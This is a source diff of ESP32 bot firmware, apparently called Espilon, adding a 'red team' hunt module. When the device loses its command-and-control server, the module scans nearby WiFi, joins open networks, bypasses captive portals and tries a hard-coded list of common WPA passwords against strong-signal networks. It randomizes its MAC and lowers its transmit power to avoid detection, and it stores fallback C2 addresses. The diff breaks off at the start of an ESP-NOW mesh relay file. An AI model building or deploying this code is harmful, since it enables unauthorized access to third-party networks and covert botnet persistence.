/* Add/update a known network. Empty pass = open network. */
|
||||
bool rt_config_net_add(const char *ssid, const char *pass);
|
||||
|
||||
/* Remove a known network by SSID. Returns false if not found. */
|
||||
bool rt_config_net_remove(const char *ssid);
|
||||
|
||||
/* Get known networks list. Returns count. */
|
||||
int rt_config_net_list(rt_network_t *out, int max_count);
|
||||
|
||||
/* Get count of known networks. */
|
||||
int rt_config_net_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char addr[RT_ADDR_MAX_LEN]; /* "ip:port" */
|
||||
} rt_c2_addr_t;
|
||||
|
||||
/* Add a C2 fallback address. Returns false if full. */
|
||||
bool rt_config_c2_add(const char *addr);
|
||||
|
||||
/* Remove a C2 fallback address. Returns false if not found. */
|
||||
bool rt_config_c2_remove(const char *addr);
|
||||
|
||||
/* Get C2 fallback addresses. Returns count. */
|
||||
int rt_config_c2_list(rt_c2_addr_t *out, int max_count);
|
||||
|
||||
/* Get count of C2 fallback addresses. */
|
||||
int rt_config_c2_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage (for restoration)
|
||||
* ============================================================ */
|
||||
|
||||
/* Save the current STA MAC as the original. Called once at boot. */
|
||||
void rt_config_save_orig_mac(void);
|
||||
|
||||
/* Get the saved original MAC. Returns false if not saved. */
|
||||
bool rt_config_get_orig_mac(uint8_t mac[6]);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
726
espilon_bot/components/mod_redteam/rt_hunt.c
Normal file
726
espilon_bot/components/mod_redteam/rt_hunt.c
Normal file
@ -0,0 +1,726 @@
|
||||
/*
|
||||
* rt_hunt.c
|
||||
* Red Team hunt state machine — autonomous network hunting.
|
||||
* FreeRTOS task (8KB stack, Core 1).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_hunt.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "rt_config.h"
|
||||
#include "rt_stealth.h"
|
||||
#include "rt_captive.h"
|
||||
#include "rt_mesh.h"
|
||||
|
||||
static const char *TAG = "RT_HUNT";
|
||||
|
||||
#define RT_HUNT_STACK 8192
|
||||
#define RT_HUNT_PRIO 6
|
||||
#define RT_WIFI_TIMEOUT_MS 8000
|
||||
#define RT_TCP_TIMEOUT_S 5
|
||||
#define RT_RESCAN_DELAY_S 60
|
||||
#define RT_MAX_WPA_TRIES 5
|
||||
#define RT_WPA_MIN_RSSI -65
|
||||
|
||||
/* Event bits for WiFi events */
|
||||
#define RT_EVT_GOT_IP BIT0
|
||||
#define RT_EVT_DISCONNECT BIT1
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static volatile rt_state_t s_state = RT_IDLE;
|
||||
static char s_connected_ssid[33] = {0};
|
||||
static char s_connected_method[16] = {0};
|
||||
static volatile bool s_active = false;
|
||||
static TaskHandle_t s_task_handle = NULL;
|
||||
static EventGroupHandle_t s_evt_group = NULL;
|
||||
|
||||
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
||||
static SemaphoreHandle_t s_state_mutex = NULL;
|
||||
|
||||
static inline void state_lock(void) {
|
||||
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
||||
}
|
||||
static inline void state_unlock(void) {
|
||||
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
||||
}
|
||||
|
||||
/* Saved original WiFi config for restore */
|
||||
static wifi_config_t s_orig_wifi_config;
|
||||
static bool s_orig_config_saved = false;
|
||||
|
||||
/* State name lookup */
|
||||
static const char *state_names[] = {
|
||||
[RT_IDLE] = "idle",
|
||||
[RT_STEALTH_PREP] = "stealth_prep",
|
||||
[RT_PASSIVE_SCAN] = "passive_scan",
|
||||
[RT_MESH_PROBE] = "mesh_probe",
|
||||
[RT_MESH_RELAY] = "mesh_relay",
|
||||
[RT_TRYING_KNOWN] = "trying_known",
|
||||
[RT_TRYING_OPEN] = "trying_open",
|
||||
[RT_TRYING_WPA] = "trying_wpa",
|
||||
[RT_PORTAL_CHECK] = "portal_check",
|
||||
[RT_PORTAL_BYPASS] = "portal_bypass",
|
||||
[RT_C2_VERIFY] = "c2_verify",
|
||||
[RT_CONNECTED] = "connected",
|
||||
[RT_GPRS] = "gprs",
|
||||
};
|
||||
|
||||
/* Common WPA passwords (flash, not RAM) */
|
||||
static const char * const common_passwords[] = {
|
||||
"12345678", "password", "00000000", "11111111",
|
||||
"123456789", "1234567890", "admin1234", "wifi1234",
|
||||
"internet", "guest", "welcome", "freewifi",
|
||||
"password1", "qwerty123", "abcd1234", "12341234",
|
||||
"home1234", "default", "changeme",
|
||||
};
|
||||
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
|
||||
|
||||
/* ============================================================
|
||||
* WiFi event handler for hunt (registered dynamically)
|
||||
* ============================================================ */
|
||||
|
||||
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
|
||||
int32_t id, void *data)
|
||||
{
|
||||
if (!s_evt_group) return;
|
||||
|
||||
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
||||
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
|
||||
}
|
||||
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void set_state(rt_state_t new_state)
|
||||
{
|
||||
state_lock();
|
||||
s_state = new_state;
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
||||
}
|
||||
|
||||
/* Try to connect to a WiFi network. Returns true if got IP. */
|
||||
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
||||
{
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
||||
if (pass && pass[0]) {
|
||||
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
||||
}
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
||||
|
||||
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
|
||||
esp_wifi_connect();
|
||||
|
||||
EventBits_t bits = xEventGroupWaitBits(
|
||||
s_evt_group,
|
||||
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
|
||||
pdTRUE, /* clear on exit */
|
||||
pdFALSE, /* any bit */
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (bits & RT_EVT_GOT_IP) {
|
||||
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try TCP connect to C2. Returns true if reachable.
|
||||
* Does NOT keep the socket — just verifies connectivity. */
|
||||
static bool tcp_try_c2(const char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
|
||||
/* Set connect timeout */
|
||||
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
lwip_close(s);
|
||||
|
||||
if (ret == 0) {
|
||||
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
||||
static bool verify_c2_reachable(void)
|
||||
{
|
||||
set_state(RT_C2_VERIFY);
|
||||
|
||||
/* Try primary C2 */
|
||||
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try NVS fallback addresses */
|
||||
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
|
||||
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
/* Parse "ip:port" */
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
if (tcp_try_c2(ip_buf, port)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Mark successful connection */
|
||||
static void mark_connected(const char *ssid, const char *method)
|
||||
{
|
||||
state_lock();
|
||||
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
||||
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
||||
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
||||
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
||||
state_unlock();
|
||||
set_state(RT_CONNECTED);
|
||||
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi scan (active — passive scan is Phase 3)
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[33];
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_auth_mode_t authmode;
|
||||
} rt_candidate_t;
|
||||
|
||||
#define RT_MAX_CANDIDATES 32
|
||||
|
||||
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
|
||||
static int s_candidate_count = 0;
|
||||
|
||||
static void do_wifi_scan(void)
|
||||
{
|
||||
s_candidate_count = 0;
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
wifi_scan_config_t scan_cfg = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time = {
|
||||
.active = { .min = 120, .max = 300 },
|
||||
},
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGW(TAG, "Scan: 0 APs found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
|
||||
|
||||
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
||||
if (!records) {
|
||||
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, records);
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
rt_candidate_t *c = &s_candidates[s_candidate_count];
|
||||
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
||||
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
||||
memcpy(c->bssid, records[i].bssid, 6);
|
||||
c->rssi = records[i].rssi;
|
||||
c->channel = records[i].primary;
|
||||
c->authmode = records[i].authmode;
|
||||
s_candidate_count++;
|
||||
}
|
||||
|
||||
free(records);
|
||||
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
||||
|
||||
/* Report to C2 */
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 1: Try known networks (NVS)
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_known_networks(void)
|
||||
{
|
||||
set_state(RT_TRYING_KNOWN);
|
||||
|
||||
/* Try original WiFi config first (the one we were connected to) */
|
||||
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
||||
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
||||
(char *)s_orig_wifi_config.sta.ssid);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
||||
(char *)s_orig_wifi_config.sta.password,
|
||||
RT_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/* Then try NVS known networks */
|
||||
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
||||
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (net_count == 0) {
|
||||
ESP_LOGI(TAG, "No additional known networks in NVS");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try each known network that was found in scan */
|
||||
for (int n = 0; n < net_count; n++) {
|
||||
/* Check if this SSID was in the scan results */
|
||||
bool found_in_scan = false;
|
||||
for (int c = 0; c < s_candidate_count; c++) {
|
||||
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
|
||||
found_in_scan = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!found_in_scan) {
|
||||
/* Still try — might be hidden or missed by scan */
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(nets[n].ssid, "known");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 2: Try open WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_open_networks(void)
|
||||
{
|
||||
set_state(RT_TRYING_OPEN);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue; /* hidden */
|
||||
|
||||
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
|
||||
/* Check for captive portal */
|
||||
set_state(RT_PORTAL_CHECK);
|
||||
rt_portal_status_t portal = rt_captive_detect();
|
||||
|
||||
if (portal == RT_PORTAL_NONE) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
} else if (portal == RT_PORTAL_DETECTED) {
|
||||
set_state(RT_PORTAL_BYPASS);
|
||||
if (rt_captive_bypass()) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open+portal");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
||||
s_candidates[i].ssid);
|
||||
} else {
|
||||
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 3: Try WPA with common passwords
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_wpa_common(void)
|
||||
{
|
||||
set_state(RT_TRYING_WPA);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
/* Only WPA/WPA2, strong signal */
|
||||
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
|
||||
s_candidates[i].authmode == WIFI_AUTH_WEP)
|
||||
continue;
|
||||
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue;
|
||||
|
||||
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
int tries = 0;
|
||||
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
|
||||
tries++;
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid,
|
||||
common_passwords[p],
|
||||
RT_WIFI_TIMEOUT_MS)) {
|
||||
/* Connected! Verify C2 */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "wpa");
|
||||
return true;
|
||||
}
|
||||
/* Connected to WiFi but C2 unreachable — still good find,
|
||||
but continue looking for one with C2 access */
|
||||
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
|
||||
s_candidates[i].ssid, common_passwords[p]);
|
||||
break; /* Don't try more passwords on this SSID */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Hunt task — main state machine
|
||||
* ============================================================ */
|
||||
|
||||
extern atomic_bool fb_active; /* defined in WiFi.c */
|
||||
extern void wifi_pause_reconnect(void);
|
||||
extern void wifi_resume_reconnect(void);
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
|
||||
static void hunt_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "Hunt task started");
|
||||
|
||||
/* Save original WiFi config */
|
||||
if (!s_orig_config_saved) {
|
||||
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
s_orig_config_saved = true;
|
||||
}
|
||||
|
||||
/* Let the command response (msg_info "Hunt started") flush over TCP
|
||||
* before we disconnect WiFi. Without this delay the response is lost. */
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
/* Take control of WiFi from normal reconnect logic */
|
||||
fb_active = true;
|
||||
wifi_pause_reconnect();
|
||||
|
||||
/* Register our event handler */
|
||||
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&rt_wifi_event_handler, NULL);
|
||||
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&rt_wifi_event_handler, NULL);
|
||||
|
||||
while (s_active) {
|
||||
|
||||
/* ---- STEALTH PREP ---- */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
set_state(RT_STEALTH_PREP);
|
||||
rt_stealth_randomize_mac();
|
||||
rt_stealth_low_tx_power();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
#endif
|
||||
|
||||
/* ---- SCAN ---- */
|
||||
set_state(RT_PASSIVE_SCAN);
|
||||
do_wifi_scan();
|
||||
|
||||
/* ---- MESH PROBE ---- */
|
||||
#ifdef CONFIG_RT_MESH
|
||||
set_state(RT_MESH_PROBE);
|
||||
rt_mesh_probe();
|
||||
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
|
||||
|
||||
rt_mesh_peer_t peer;
|
||||
if (rt_mesh_get_relay(&peer) && peer.available) {
|
||||
set_state(RT_MESH_RELAY);
|
||||
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
|
||||
mark_connected("ESP-NOW", "mesh");
|
||||
|
||||
/* Stay in mesh relay mode until stopped or wifi found */
|
||||
while (s_active && rt_mesh_is_running()) {
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
}
|
||||
if (!s_active) break;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- STRATEGY 1: Known networks ---- */
|
||||
if (s_active && try_known_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 2: Open networks ---- */
|
||||
if (s_active && try_open_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 3: WPA common passwords ---- */
|
||||
if (s_active && try_wpa_common()) break;
|
||||
|
||||
/* ---- STRATEGY 4: GPRS ---- */
|
||||
#ifdef CONFIG_RT_GPRS_FALLBACK
|
||||
set_state(RT_GPRS);
|
||||
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
|
||||
#endif
|
||||
|
||||
/* ---- All strategies failed — wait and rescan ---- */
|
||||
if (!s_active) break;
|
||||
|
||||
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
||||
RT_RESCAN_DELAY_S);
|
||||
set_state(RT_IDLE);
|
||||
|
||||
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ---- */
|
||||
|
||||
/* Unregister our handler */
|
||||
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&rt_wifi_event_handler);
|
||||
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&rt_wifi_event_handler);
|
||||
|
||||
if (s_state == RT_CONNECTED) {
|
||||
/* We found a connection — let the normal tcp_client_task take over.
|
||||
* It will use whatever WiFi we're connected to. */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_restore_tx_power();
|
||||
#endif
|
||||
fb_active = false;
|
||||
wifi_resume_reconnect();
|
||||
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
|
||||
} else {
|
||||
/* Restore original WiFi config */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_restore_mac();
|
||||
rt_stealth_restore_tx_power();
|
||||
#endif
|
||||
if (s_orig_config_saved) {
|
||||
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
}
|
||||
fb_active = false;
|
||||
wifi_resume_reconnect();
|
||||
|
||||
/* Reconnect to original WiFi */
|
||||
esp_wifi_connect();
|
||||
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
||||
}
|
||||
|
||||
s_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
const char *rt_hunt_state_name(rt_state_t state)
|
||||
{
|
||||
if (state <= RT_GPRS)
|
||||
return state_names[state];
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
rt_state_t rt_hunt_get_state(void)
|
||||
{
|
||||
state_lock();
|
||||
rt_state_t st = s_state;
|
||||
state_unlock();
|
||||
return st;
|
||||
}
|
||||
|
||||
bool rt_hunt_is_active(void)
|
||||
{
|
||||
return s_active;
|
||||
}
|
||||
|
||||
const char *rt_hunt_connected_ssid(void)
|
||||
{
|
||||
/* Returned pointer is to static buffer — safe to read while mutex
|
||||
ensures the string is not being partially written. Caller should
|
||||
copy if it needs to keep the value. */
|
||||
static char ssid_copy[33];
|
||||
state_lock();
|
||||
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
||||
state_unlock();
|
||||
return ssid_copy;
|
||||
}
|
||||
|
||||
const char *rt_hunt_connected_method(void)
|
||||
{
|
||||
static char method_copy[16];
|
||||
state_lock();
|
||||
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
||||
state_unlock();
|
||||
return method_copy;
|
||||
}
|
||||
|
||||
void rt_hunt_trigger(void)
|
||||
{
|
||||
if (s_active) {
|
||||
ESP_LOGW(TAG, "Hunt already active");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Create mutex ONCE before any task uses it — avoids lazy init race */
|
||||
if (!s_state_mutex) {
|
||||
s_state_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
|
||||
if (!s_evt_group) {
|
||||
s_evt_group = xEventGroupCreate();
|
||||
}
|
||||
|
||||
s_active = true;
|
||||
state_lock();
|
||||
s_state = RT_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
hunt_task,
|
||||
"rt_hunt",
|
||||
RT_HUNT_STACK,
|
||||
NULL,
|
||||
RT_HUNT_PRIO,
|
||||
&s_task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create hunt task");
|
||||
s_active = false;
|
||||
}
|
||||
}
|
||||
|
||||
void rt_hunt_stop(void)
|
||||
{
|
||||
if (!s_active) return;
|
||||
|
||||
s_active = false; /* Signal task to exit */
|
||||
|
||||
/* Wait for task to finish cleanup (max 5s) */
|
||||
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
state_lock();
|
||||
s_state = RT_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "Hunt stopped");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
61
espilon_bot/components/mod_redteam/rt_hunt.h
Normal file
61
espilon_bot/components/mod_redteam/rt_hunt.h
Normal file
@ -0,0 +1,61 @@
|
||||
/*
|
||||
* rt_hunt.h
|
||||
* Red Team hunt state machine — autonomous network hunting.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Hunt states
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
RT_IDLE,
|
||||
RT_STEALTH_PREP,
|
||||
RT_PASSIVE_SCAN,
|
||||
RT_MESH_PROBE,
|
||||
RT_MESH_RELAY,
|
||||
RT_TRYING_KNOWN,
|
||||
RT_TRYING_OPEN,
|
||||
RT_TRYING_WPA,
|
||||
RT_PORTAL_CHECK,
|
||||
RT_PORTAL_BYPASS,
|
||||
RT_C2_VERIFY,
|
||||
RT_CONNECTED,
|
||||
RT_GPRS,
|
||||
} rt_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
|
||||
/* Trigger the hunt (start the state machine task if not running).
|
||||
* Called by C2 command or auto-trigger on TCP failure. */
|
||||
void rt_hunt_trigger(void);
|
||||
|
||||
/* Stop the hunt, restore original WiFi + MAC + TX power. */
|
||||
void rt_hunt_stop(void);
|
||||
|
||||
/* Get current state. */
|
||||
rt_state_t rt_hunt_get_state(void);
|
||||
|
||||
/* Get state name as string. */
|
||||
const char *rt_hunt_state_name(rt_state_t state);
|
||||
|
||||
/* Is the hunt task currently running? */
|
||||
bool rt_hunt_is_active(void);
|
||||
|
||||
/* Get the SSID we connected to (empty if none). */
|
||||
const char *rt_hunt_connected_ssid(void);
|
||||
|
||||
/* Get the method used to connect (e.g. "known", "open", "wpa", "mesh"). */
|
||||
const char *rt_hunt_connected_method(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
296
espilon_bot/components/mod_redteam/rt_mesh.c
Normal file
296
espilon_bot/components/mod_redteam/rt_mesh.c
Normal file
@ -0,0 +1,296 @@
|
||||
/*
|
||||
* rt_mesh.c
|
||||
* ESP-NOW mesh relay between Espilon agents.
|
||||
*
|
||||
* Protocol:
|
||||
